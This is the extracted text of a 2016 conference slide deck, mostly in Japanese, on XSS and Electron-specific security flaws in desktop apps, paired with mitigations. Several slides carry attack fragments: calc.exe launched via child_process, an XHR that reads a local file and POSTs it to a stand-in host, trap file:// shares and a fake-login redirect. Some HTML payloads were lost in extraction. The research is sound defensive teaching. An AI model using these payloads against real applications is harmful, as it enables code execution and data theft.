ELECTRON
cb-hasegawa-ja
cb-hasegawa-ja
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
<strong>ELECTRON</strong><br />
Build cross platform desktop XSS<br />
It’s easier than you think<br />
Secure Sky Technology Inc.<br />
Yosuke HASEGAWA
Yosuke HASEGAWA @hasegawayosuke<br />
Secure Sky Technology Inc. Technical Advisor<br />
OWASP Kansai Chapter Leader<br />
OWASP Japan Chapter board member<br />
CODE BLUE Review board member<br />
http//utf-8.jp/ Author of jjencode, aaencode<br />
Talked at Black Hat Japan 2008, KOREA POC 2008,<br />
POC 2010, OWASP AppSec APAC 2014 and others.<br />
Found many vulns of IE, Firefox and others.<br />
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?<br />
GitHub 社 によって 開 発 された、クロスプラット<br />
フォームなデスクトップアプリケーションを 開 発<br />
するためのフレームワーク<br />
HTML+JavaScriptでアプリケーションを 作 成 で<br />
きる<br />
多 くのアプリケーションで 使 用 実 績<br />
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?<br />
HTML + JavaScript = Native Apps<br />
Microsoft HTML Application (*.hta)<br />
Firefox OS<br />
Apache Cordova / Adobe PhoneGap<br />
Chrome Apps<br />
Electron / NW.js<br />
Electron<br />
Cross platform<br />
バイナリのビルドが 可 能<br />
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?<br />
Node.jsとChromiumをランタイムとして 内 包<br />
メインプロセス<br />
アプリケーション 全 体 を 統 括 。node.jsそのもの<br />
レンダラプロセス<br />
Chromium+node.js<br />
Electron Apps<br />
main<br />
process<br />
IPC<br />
renderer<br />
process<br />
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?<br />
{<br />
}<br />
Electron Apps<br />
"name" : "Apps name",<br />
"version" : "0.1",<br />
"main" : "main.js"<br />
index.html<br />
<br />
...<br />
<br />
...<br />
<br />
<br />
{json}<br />
main<br />
process<br />
IPC<br />
renderer<br />
process<br />
package.json<br />
let win = new BrowserWindow( {width:840,height:700} );<br />
win.loadURL( `file://${__dirname}/index.html` );<br />
main.js<br />
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?<br />
レンダラではブラウザ 内 でnode.jsが 動 く<br />
node 機 能 は 無 効 にもできる。デフォルト 有 効 。<br />
<br />
<br />
const fs = require( "fs" );<br />
function foo(){<br />
fs.readFile( "./test.txt", { encoding: "utf-8" },<br />
(err, data) => {<br />
document.getElementById("main").textContent = data;<br />
}<br />
);<br />
}<br />
<br />
<br />
<br />
<br />
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ 対 策<br />
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ 対 策<br />
おおきく3 種 類 の 問 題 に 分 けられる<br />
Webアプリとしてのセキュリティ 対 策<br />
レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />
ローカルアプリとしてのセキュリティ 対 策<br />
レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />
のアプリケーション 同 様 の 対 策<br />
Electron 固 有 のセキュリティ 対 策<br />
様 々なElectronの 機 能 に 対 する 対 策<br />
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ 対 策<br />
おおきく3 種 類 の 問 題 に 分 けられる<br />
Webアプリとしてのセキュリティ 対 策<br />
レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />
ローカルアプリとしてのセキュリティ 対 策<br />
レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />
のアプリケーション 同 様 の 対 策<br />
Electron 固 有 のセキュリティ 対 策<br />
様 々なElectronの 機 能 に 対 する 対 策<br />
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ 対 策<br />
レンダラプロセス : Chromium + node.js<br />
DOM 操 作 が 多 くなりがち<br />
DOM-based XSSが 発 生 しやすい<br />
JavaScriptによるオープンリダイレクタ<br />
従 来 のWebアプリ 同 様 のフロントエンドのセキュ<br />
リティ 対 策 が 必 要<br />
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ 対 策<br />
DOM-based XSSが 発 生 しやすい<br />
DOM 操 作 が 多 い<br />
そもそもDOM-based XSSは 見 つけにくい<br />
fs.readFile( filename, (err,data) => {<br />
if(!err) element.innerHTML = data; //XSS!<br />
});<br />
fs.readdir( dirname, (err,files) => {<br />
files.forEach( (filename) => {<br />
let elm = document.createElement( "div" );<br />
elm.innerHTML =<br />
`${filename}`; //XSS!<br />
paerntElm.appendChild( elm );<br />
});<br />
});<br />
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ 対 策<br />
DOM-based XSSが 発 生 すると 致 命 的 な 被 害<br />
攻 撃 者 のインジェクトしたコード 内 でもnode 機 能 が<br />
利 用 可 能 な 場 合 が 多 い<br />
XSS = alert だけではない<br />
ローカルファイルの 読 み 書 き<br />
任 意 プロトコルでの 通 信<br />
他 アプリへの 干 渉<br />
任 意 プロセスの 生 成<br />
つまり、DOM-based XSSをきっかけに 任 意 の<br />
コード 実 行 が 可 能 となる<br />
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ 対 策<br />
従 来 のWebアプリ<br />
ニセ 情 報 の 表 示 、Cookieの 漏 えい、Webサイト 内 の<br />
情 報 の 漏 えい…<br />
「 該 当 Webサイト 内 」でJSができること 全 て<br />
該 当 Webサイトを 超 えては 何 もできない<br />
ブラウザに 守 られている … サンドボックス<br />
脆 弱 性 があっても 自 身 のWebサイト 以 外 への 影 響<br />
はない<br />
サイト 運 営 者 が 責 任 を 持 てる 範 囲 でしか 被 害 が 発<br />
生 しない<br />
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ 対 策<br />
ElectronにおけるXSS<br />
アプリを 使 っているユーザーの 権 限 での 任 意 コード<br />
の 実 行<br />
PC 内 でそのユーザーができること 全 て<br />
既 存 アプリケーションの 破 壊<br />
オンラインバンキング 用 アプリの 改 ざん、 盗 聴<br />
マルウェア 感 染 、 配 信<br />
該 当 アプリケーションの 範 囲 を 超 えて 何 でもできる<br />
開 発 者 の 責 任 の 重 みがまったく 変 わってくる<br />
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ 対 策<br />
Electronアプリに 対 する 攻 撃 に 対 して<br />
Webサイト 改 ざんのJavaScript<br />
難 読 化 されていても 最 終 的 にはDOM 操 作<br />
やの 挿 入 を 探 す<br />
Electronに 対 する 攻 撃 用 JavaScript<br />
どのような 処 理 でも 可 能 性 として 存 在<br />
挙 動 を 詳 細 に 調 査 する 必 要 がある<br />
解 析 する 側 の 技 術 も 未 成 熟<br />
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ 対 策<br />
おおきく3 種 類 の 問 題 に 分 けられる<br />
Webアプリとしてのセキュリティ 対 策<br />
レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />
ローカルアプリとしてのセキュリティ 対 策<br />
レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />
のアプリケーション 同 様 の 対 策<br />
Electron 固 有 のセキュリティ 対 策<br />
様 々なElectronの 機 能 に 対 する 対 策<br />
Secure Sky Technology Inc. CODE BLUE 2016
ローカルアプリとしてのセキュリティ 対 策<br />
ローカルアプリのセキュリティ 対 策 も 必 要<br />
symlink 攻 撃<br />
レースコンディション<br />
暗 号 の 不 適 切 な 利 用<br />
過 大 なアクセス 権 限<br />
機 密 情 報 が644など<br />
ファイル 名 の 別 名 表 記<br />
8.3 形 式 、ADS(file.txt::$DATA)など<br />
その 他 諸 々<br />
Webアプリとは 異 なる 知 識 背 景<br />
プラットフォーム 固 有 の 知 識 も 必 要<br />
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ 対 策<br />
おおきく3 種 類 の 問 題 に 分 けられる<br />
Webアプリとしてのセキュリティ 対 策<br />
レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />
ローカルアプリとしてのセキュリティ 対 策<br />
レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />
のアプリケーション 同 様 の 対 策<br />
Electron 固 有 のセキュリティ 対 策<br />
様 々なElectronの 機 能 に 対 する 対 策<br />
Secure Sky Technology Inc. CODE BLUE 2016
Electron 固 有 のセキュリティ 対 策<br />
個 々のAPIを 使 う 上 での 注 意 点<br />
tag<br />
shell.openExternal<br />
Electronのアーキテクチャ 上 の 問 題 点<br />
BrowserWindowは 通 常 "file://" をロードする<br />
ブラウザと 異 なりアドレスバーが 存 在 しない<br />
Secure Sky Technology Inc. CODE BLUE 2016
Deep dive into<br />
DbXSS of Electron<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS<br />
ソースをエスケープせずにシンクに 与 えることで<br />
JS 上 で 発 生 するXSS<br />
ソース: 攻 撃 者 の 与 えた 文 字 列<br />
シンク: 文 字 列 からHTMLを 生 成 したりコードとして<br />
実 行 する 箇 所<br />
location.hash<br />
location.href<br />
location.search<br />
postMessage<br />
xhr.responseText<br />
document.referrer<br />
window.name<br />
ソース 処 理 シンク<br />
document.write eval<br />
location.href Function<br />
setInterval<br />
setTimeout<br />
innerHTML<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS<br />
従 来 のXSSでの 被 害<br />
alertの 表 示<br />
elm.innerHTML = "";<br />
Webアプリ 内 に 偽 情 報 を 表 示<br />
elm.innerHTML = "ログイン:";<br />
Cookieの 奪 取<br />
elm.innerHTML = "";<br />
Webアプリ 内 の 機 密 情 報 の 奪 取<br />
elm.innerHTML = "";<br />
他 には?<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps<br />
レンダラ 上 でnode 機 能 がデフォルト 有 効<br />
// xss_source は 攻 撃 者 がコントロール 可 能 な 文 字 列<br />
elm.innerHTML = xss_source; // XSS!<br />
<br />
<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps<br />
任 意 コード 実 行 が 可 能 - まるでバッファオーバーフロー<br />
“<br />
XSS: The New Buffer Overflow<br />
In many respects, an XSS vulnerability is<br />
just as dangerous as a buffer overflow.<br />
多 くの 点 から 見 て、XSS 脆 弱 性 の 危 険 性 はバッファ<br />
オーバーフローに 匹 敵 します。<br />
”<br />
"Security Briefs: SDL Embraces The Web", Apr. 2008<br />
http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e<br />
n-us/magazine/cc794277.aspx<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps<br />
ソースをエスケープせずにシンクに 与 えることで<br />
JS 上 で 発 生 するXSS<br />
ソース: 攻 撃 者 の 与 えた 文 字 列<br />
シンク: 文 字 列 からHTMLを 生 成 したりコードとして<br />
実 行 する 箇 所<br />
location.hash<br />
location.href<br />
location.search<br />
postMessage<br />
xhr.responseText<br />
document.referrer<br />
window.name<br />
ソース 処 理 シンク<br />
document.write eval<br />
location.href Function<br />
setInterval<br />
setTimeout<br />
innerHTML<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps<br />
ソースをエスケープせずにシンクに 与 えることで<br />
JS 上 で 発 生 するXSS<br />
ソース: 攻 撃 者 の 与 えた 文 字 列<br />
シンク: 文 字 列 からHTMLを 生 成 したりコードとして<br />
実 行 する 箇 所<br />
location.hash<br />
location.href<br />
location.search<br />
postMessage<br />
ファイルの 内 容<br />
xhr.responseText<br />
document.referrer<br />
window.name<br />
ソース 処 理 シンク<br />
document.write eval<br />
location.href Function<br />
setInterval<br />
setTimeout<br />
innerHTML<br />
ユーザ 名 ファイル 名 ログの 内 容<br />
データベース コンピュータ 名<br />
require<br />
webView<br />
webFrame.executeJavaScript<br />
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps<br />
従 来 のWebアプリでは 存 在 しなかったソース<br />
HTTPやWebと 無 関 係 なあらゆるデータがXSSソー<br />
スとなり 得 る<br />
シンクはそれほど 増 えていない<br />
requireなどに 動 的 な 引 数 を 与 えることは 通 常 ない<br />
ソースを 意 識 するのではなく、シンクへ 渡 す 際 に<br />
エスケープすることが 重 要<br />
適 切 なDOM 操 作 (textContent、setAttribute 等 )<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
XSS 対 策 としてレンダラにCSPを 適 用 することは<br />
効 果 があるのか<br />
<br />
renderer<br />
<br />
<br />
<br />
<br />
<br />
//index.js<br />
elm.innerHTML = xss_source; // XSS!<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
<br />
renderer<br />
<br />
<br />
<br />
<br />
<br />
//index.js<br />
elm.innerHTML = xss_source; // XSS!<br />
meta refreshはCSPによって 制 限 されない<br />
xss_source =<br />
'';<br />
レンダラで 開 かれる。レンダラ 内 ではnode 機 能 が 利 用 可 能 。<br />
<br />
require('child_process').exec('calc.exe',null);<br />
<br />
http://evil.utf-8.jp/<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
Another pattern<br />
<br />
renderer<br />
<br />
<br />
<br />
<br />
<br />
<br />
//index.js<br />
iframe.setAttribute("src", xss_source); // XSS?<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
Another pattern<br />
<br />
renderer<br />
<br />
<br />
<br />
<br />
<br />
<br />
//index.js<br />
iframe.setAttribute("src", xss_source); // XSS!<br />
origin === 'file://'<br />
app.on('ready', () => {<br />
win = new BrowserWindow({width:600, height:400} );<br />
win.loadURL(`file://${__dirname}/index.html`);<br />
....<br />
main.js<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
<br />
renderer<br />
<br />
<br />
<br />
<br />
<br />
<br />
//index.js<br />
iframe.setAttribute("src", xss_source); // XSS!<br />
originが"file://"なので 攻 撃 者 のファイルサーバも 同 じオリジン<br />
xss_source = 'file://remote-server/share/trap.html';<br />
top level windowではnode 機 能 が 使 える<br />
window.top.location=`data:text/html,<br />
file://remote-server/share/trap.html<br />
require('child_process').exec('calc.exe',null);`;<br />
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<br />
CSPによってリソースの 読 み 込 みを 制 限 しても<br />
meta refreshによってページ 遷 移 が 可 能<br />
レンダラ 内 を 攻 撃 者 の 用 意 した 罠 ページに 遷 移<br />
攻 撃 者 の 用 意 した 罠 ページではもちろんCSPは 効<br />
かない<br />
"file://"なので 攻 撃 者 のリソースも 同 一 オリジン<br />
になる<br />
iframeやscriptソースを 埋 め 込 みやすい<br />
レンダラ 内 ではnode 機 能 が 使 える<br />
結 論 :CSPではXSSの 脅 威 を 軽 減 できない<br />
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの 無 効 化<br />
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの 無 効 化<br />
レンダラのnodeを 無 効 にすれば 脅 威 は 低 減<br />
app.on('ready', () => {<br />
main.js<br />
win = new BrowserWindow(<br />
{ webPreferences:{nodeIntegration:false} });<br />
win.loadURL(`file://${__dirname}/index.html`);<br />
....<br />
BrowserWindow 生 成 時 に 明 示 的 に 無 効 を 指 定 す<br />
る 必 要 がある。デフォルト 有 効 。<br />
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの 無 効 化<br />
レンダラではデフォルトでnode 機 能 が 有 効 に<br />
なっている<br />
明 示 的 にnodeを 無 効 にしなければ 有 効 のまま<br />
レンダラでnodeを 無 効 にすると、Electronアプリと<br />
して 実 用 的 なことが 出 来 なくなる<br />
それでもnode 無 効 化 は 効 果 があるのか?<br />
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの 無 効 化<br />
node 無 効 のJSでどこまでの 攻 撃 が 可 能 か<br />
app.on('ready', () => {<br />
win = new BrowserWindow(<br />
{ webPreferences:{nodeIntegration:false} });<br />
win.loadURL(`file://${__dirname}/index.html`);<br />
....<br />
そもそもオリジンがfile://になっている<br />
XHR 等 でローカルファイルの 読 み 取 りが 可 能<br />
var xhr = new XMLHttpRequest();<br />
xhr.open( "GET", "file://c:/file.txt", true );<br />
xhr.onload = () => {<br />
fetch( "http://example.jp/",<br />
{ method:"POST",body:xhr.responseText } );<br />
};<br />
xhr.send( null );<br />
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの 無 効 化<br />
明 示 的 に 指 定 することでnodeを 無 効 化 できる<br />
nodeを 無 効 化 にするとアプリとして 実 用 的 なこ<br />
とは 出 来 なくなる<br />
nodeを 無 効 にしてもローカルファイルの 読 み 取<br />
りは 可 能<br />
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox<br />
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox<br />
アプリケーションとしてDOM 操 作 する 対 象 を<br />
内 のみに 限 定 する<br />
iframeを 外 から 操 作<br />
<br />
....<br />
document.querySelector("#sb")<br />
.contentDocument.querySelector("#msg").innerHTML =<br />
"Hello, XSS!alert(1)"; // not work<br />
iframe 内 でDbXSSが 発 生 しても 被 害 を 抑 えられる<br />
Secure Sky Technology Inc. CODE BLUE 2016
DbXSSの 緩 和 - <br />
代 表 的 なもの<br />
allow-forms<br />
allow-scripts<br />
allow-same-origin<br />
allow-top-navigation<br />
allow-popups<br />
- フォームの 実 行 を 許 可<br />
- スクリプトの 実 行 を 許 可<br />
- 同 一 オリジン 扱 いを 許 可<br />
- topへの 干 渉 を 許 可<br />
- ポップアップを 許 可<br />
allow-scriptsを 指 定 するのは 危 険<br />
iframe 内 で 普 通 にJSが 動 く<br />
allow-top-navigation、allow-popupsも 危 険<br />
Secure Sky Technology Inc. CODE BLUE 2016
<br />
...<br />
var xss = `Click`;<br />
document.querySelector("#sb")<br />
.contentDocument.querySelector("#msg").innerHTML = xss;<br />
popupによって 生 成 されたBrowserWindowでは、node<br />
機 能 が 有 効 な 状 態 でJavaScriptが 動 く<br />
Click<br />
(iframe)<br />
data:text/html,<br />
require(...)<br />
0<br />
← CE C ± √<br />
7 8 9 / %<br />
4 5 6 * 1/x<br />
1 2 3 -<br />
0 . +<br />
=<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
他 のサイトをレンダラ 内 に 埋 め 込 む<br />
iframeと 異 なりwebview 内 から 外 側 は 完 全 に 見 え<br />
ない(window.topなど)<br />
<br />
外 からも 簡 単 にはDOM 操 作 できない<br />
(iframe.contentWindowのようなものはない)<br />
webviewごとにnode 機 能 の 有 無 を 指 定 可 能<br />
<br />
allowpopups 属 性 により 新 しいウィンドウの 生 成 を<br />
許 可<br />
<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
window.open()、などで 新<br />
しく 開 かれたウィンドウ<br />
iframeとwebviewではnodeの 有 効 ・ 無 効 は 異 なる<br />
レンダラ (node 有 効 )<br />
<br />
nodeは 常 に 無 効<br />
レンダラ (node 有 効 )<br />
<br />
node 無 効<br />
レンダラ (node 有 効 )<br />
<br />
node 有 効<br />
新 しいレンダラ<br />
(node 有 効 )<br />
新 しいレンダラ<br />
(node 無 効 )<br />
新 しいレンダラ<br />
(node 有 効 )<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
nodeは 無 効 にしpreload 機 能 を 使 うほうが 安 全<br />
<br />
<br />
preload script 内 ではnode 無 効 のwebview 内 で<br />
あってもnode 機 能 が 利 用 可 能<br />
//preload.js<br />
window.loadConfig = function(){<br />
let file = `${__dirname}/config.json`;<br />
let s = require("fs").readFileSync( file, "utf-8" );<br />
return JSON.eval( s );<br />
};<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
よくあるケース<br />
既 存 のWebアプリのネイティブアプリ 化<br />
内 に 既 存 のWebアプリを 埋 め 込 み<br />
<br />
<br />
<br />
<br />
Code Blue SNS<br />
Ads<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
よくあるケース<br />
既 存 のWebアプリのネイティブアプリ 化<br />
内 に 既 存 のWebアプリを 埋 め 込 み<br />
<br />
<br />
<br />
<br />
webview<br />
Code Blue SNS<br />
Ads<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
よくあるケース<br />
既 存 のWebアプリのネイティブアプリ 化<br />
内 に 既 存 のWebアプリを 埋 め 込 み<br />
<br />
<br />
<br />
<br />
webview<br />
Code Blue SNS<br />
webview 内 に3rd partyの<br />
広 告 が 入 る<br />
Ads<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
webview 内 に3rd partyの 広 告 が 入 る 場 合<br />
広 告 JSもwebview 内 で 自 由 にコード 実 行<br />
webviewでnodeが 有 効 な 場 合 は 広 告 JSもnode<br />
機 能 も 使 える<br />
nodeが 無 効 な 場 合 でもwindow.top 経 由 で 全 画<br />
面 書 き 換 え、 偽 ログイン 画 面 の 表 示 などはできる<br />
悪 意 ある 広 告 、 配 信 サーバの 汚 染 など…<br />
// load fake login page<br />
window.top = "http://evil.utf-8.jp/";<br />
Code Blue SNS<br />
User:<br />
Pass:<br />
Secure Sky Technology Inc. CODE BLUE 2016
tag<br />
対 策 : 広 告 はiframe sandbox 内 に 表 示<br />
topへの 干 渉 を 防 ぐ<br />
JS 埋 め 込 み 型 の 広 告 だと 対 策 できない<br />
Webアプリ<br />
オリジンを 超 えて 広 告 がWebアプリへ 影 響 を 与 えること<br />
はない<br />
ユーザーはアドレスバーで 正 規 サイトか 確 認 できる<br />
Electronアプリ<br />
iframe 内 の 広 告 でもnode 機 能 が 有 効 なら 悪 意 ある<br />
コードが 実 行 可 能<br />
アドレスバーがないので 正 規 サイトかの 確 認 ができない<br />
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <br />
allowpopups 属 性<br />
window.openでpopupが 可 能 になる<br />
<br />
window.openでは"file:"スキームも 指 定 可 能<br />
// http://example.jp<br />
window.open("file://remote-server/share/trap.html");<br />
攻 撃 者 はファイルサーバを 経 由 することで"file://"<br />
オリジンのスクリプトを 動 作 させ、ローカルファイルを<br />
読 み 取 ることが 可 能<br />
// file://remote-server/share/trap.html<br />
var xhr = new XMLHttpRequest();<br />
xhr.open( "GET", "file://C:/secret.txt", true );<br />
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <br />
対 策<br />
allowpopups 属 性 をつけない<br />
または、main.js 側 でURLを 検 査<br />
// main.js<br />
app.on('browser-window-created', (evt, window) => {<br />
window.webContents.on('new-window', (evt,url) => {<br />
let protocol = require('url').parse(url).protocol;<br />
if (!protocol.match( /^https?:/ )) {<br />
evt.defaultPrevented = true;<br />
console.log( "invalid url", url );<br />
}<br />
});<br />
});<br />
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal<br />
shell.openItem<br />
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem<br />
URLや 拡 張 子 に 対 応 した 外 部 プログラムを 起 動<br />
const {shell} = require( 'electron' );<br />
const url = 'http://example.jp/';<br />
shell.openExternal( url ); // OS 標 準 のブラウザが 起 動<br />
shell.openItem( url );<br />
let file = 'C:/Users/hasegawa/test.txt';<br />
shell.openExternal( file ); // OS 標 準 の 方 法 でファイルを 開 く<br />
shell.openItem( file );<br />
let filename = 'file://C:/Users/hasegawa/test.txt';<br />
shell.openExternal( file ); // OS 標 準 の 方 法 でファイルを 開 く<br />
shell.openItem( file );<br />
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem<br />
よくあるケース<br />
webviewからのwindow.openなどをOS 標 準 のブ<br />
ラウザで 開 く<br />
webview.on( 'new-window', (e) => {<br />
shell.openExternal( e.url ); // OS 標 準 のブラウザで 開 く<br />
});<br />
攻 撃 者 がURLを 細 工 できる 場 合 、 任 意 のコマンドを<br />
起 動 可 能<br />
Click<br />
コマンドに 引 数 は 渡 せない<br />
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem<br />
shell.openExternal、shell.openItemには 任<br />
意 のURLが 渡 らないよう 確 認 が 必 要<br />
if (url.match( /^https?:¥/¥// )) {<br />
shell.openExternal( url ); //ブラウザで 開 く<br />
}<br />
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion<br />
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion<br />
domXss().then( die ); // ACE<br />
nodeが 有 効 なコンテキストで 外 部 のスクリプト<br />
が 動 かないよう 細 心 の 注 意 が 必 要<br />
file:スキームで 外 部 のスクリプトが 動 かないよう<br />
細 心 の 注 意 が 必 要<br />
攻 撃 者 は 罠 ファイルサーバを 利 用 可 能<br />
Secure Sky Technology Inc. CODE BLUE 2016
Question ?<br />
hasegawa@utf-8.jp<br />
@hasegawayosuke<br />
http://utf-8.jp/<br />
Credits to<br />
@harupuxa, @kinugawamasato, nishimunea<br />
Secure Sky Technology Inc. CODE BLUE 2016